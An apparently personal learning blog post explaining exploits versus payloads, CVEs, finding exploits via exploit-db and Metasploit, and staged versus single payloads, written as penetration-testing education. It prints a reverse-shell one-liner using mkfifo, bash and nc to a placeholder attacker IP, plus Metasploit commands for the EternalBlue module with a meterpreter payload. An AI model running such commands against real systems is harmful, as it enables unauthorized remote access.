Jasper Alblas
Jasper Alblas
Mastering Data & Cybersec
In this article I will cover the basics of exploits and payloads, and the difference between the two. You will likely need to find exploits and use payloads as a fundamental part of every penetration test.
I am making these articles to keep myself motivated to learn cyber security, and to share my journey. 🙂 Join me on learning cyber security. I will try and explain concepts as I go.
Some beginners are confused about the difference between exploits and payloads. In fact, the serve two very distinct functions in the exploitation process. Without a exploit there is not way to get your payload into the system, and without a payload you will not be able to get a shell.
An exploit is a piece of code designed to take advantage of a vulnerability in a computer system. Since this definition covers every sort of system, every exploit will look different. These vulnerabilities are often found in real-world systems, since IT administrators often forget or lack the resources to keep their system completely up to date. There might also be vulnerabilities out there that have not been found!
There are many types of exploits, such as:
Once again, the specifics are not important for now, but it is important to remember that exploits abuse a vulnerability, and these can be of a great variety.
One last piece of theory to cover is the definition of CVE. A CVE (Common Vulnerabilities and Exposures) refers to a specific instance of an attack or piece of code that takes advantage of a known vulnerability that has been assigned a CVE identifier.
This CVE gets assigned by a central authority, such as MITRE, after a researcher or other actor identifies a vulnerability. Once the vulnerability is known and an exploit exists, the responsible vendor or organization typically works to develop and release a patch or security update that fixes the vulnerability.
Once we start looking for exploits, we will often come across these CVEs!
You generally find exploits by mapping the target’s network, for example by using nmap. This will hopefully give you a detailed overview of the targets hosts and services, and their versions. Following this, you can search for exploits either by googling, using Metasploit (using the search command) or using a site such as https://www.exploit-db.com. All these exploits on exploit-db will have a CVE number assigned.
After finding an exploit you can then create your own script to exploit the system or find someone else’s script (again from exploit-db.com).
An famous exploit is called EternalBlue, which exploits a vulnerability in SMB services:
https://www.exploit-db.com/exploits/42315
In many cases these are Python scripts, and often you have to edit some port or IP address for the exploit to work. Luckily these exploits are often well documented.
A different option is using Metasploit for running your exploits and get your payloads into the target system. We will not go into details but I will cover a Metasploit example in a bit. First we should cover what payloads are.
While exploits take advantage of a flaw in a system, payloads are the piece of code that you sent over after you have exploited a system. A basic example of a payload is a piece of code that establishes a reverse shell to the target system. In a basic form this could look like this:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <Attacker ip> <Attacker listener port> > /tmp/This requires you have a listener running on your system. A basic listener can be established by running:
nc -lvnp <port>As soon as the payload is trigged your will get a reverse shell.
It is important to understand that payloads we use to get a shell on a system will largely be determined by what OS, shell interpreter languages, and even programming languages are present on the target.
While some payloads are one-liners and deployed manually like the one shown above, some are generated using automated attack frameworks such as with Metasploit.
This article won’t cover Metasploit in detail, but it definitely the easiest way to use exploits and payloads for a beginner. The general procedure is as follows:
You just search for a exploit by using the search command like so:
search ms17-010
Then you select the exploit by using use <exploit id>. Then you set the options which are required when you list them ( show options)
Parameters you will often use are:
You can set these by running set <parameter name> <value>.

Once you’ve set the exploit options, you can choose the payload you want to use. There are two different type of payloads in Metasploit:
Use the show payloads command to list available payloads for the selected exploit module. You might want to know if a payload is staged or single. If we look at: windows/shell/reverse_tcp and windows/shell_reverse_tcp, the one with the forward slash indicates that is a “staged” payload, the one with the underscore means it’s “single”.
Once you have found one you like you can use the set payloadcommand followed by the name of the payload you want to use.
set payload windows/meterpreter/reverse_tcpWhen you are done setting up you can run the exploit by writing exploit.

Once a vulnerability has been successfully exploited, a session will be created. This is the communication channel established between the target system and Metasploit. Now you are ready to escalate your privileges.
Anyway, this was enough Metasploit for now. I will make a future article on Metasploit itself!
It is important to note that it is also possible to create your own payloads with MSFvenom, which is part of the Metasploit framework. MSFvenom is great if we do not have direct network access to the target, and we need to deliver a payload, for example through mail. MSFvenom simply creates a payload file which you can use afterwards, but does not provide any of the other exploitation automation options like Metasploit.
In this article we covered exploits and payloads are their meaning:
Exploits:
Payload:
Metasploit
I hope this makes sense. Otherwise, let me know in the comments!
You can find my other walkthroughs here.
It was great fun to write this summary, and I hoped you learned a few good things because of it. Exploits and payloads are such an essential part of cybersecurity, so understanding them will help you everyday!
You are also welcome to support me by buying me a cup of coffee:

I learned a lot through HackTheBox’s Academy. If you want to sign up, you can get extra cubes, and support me in the process, if you use the following link: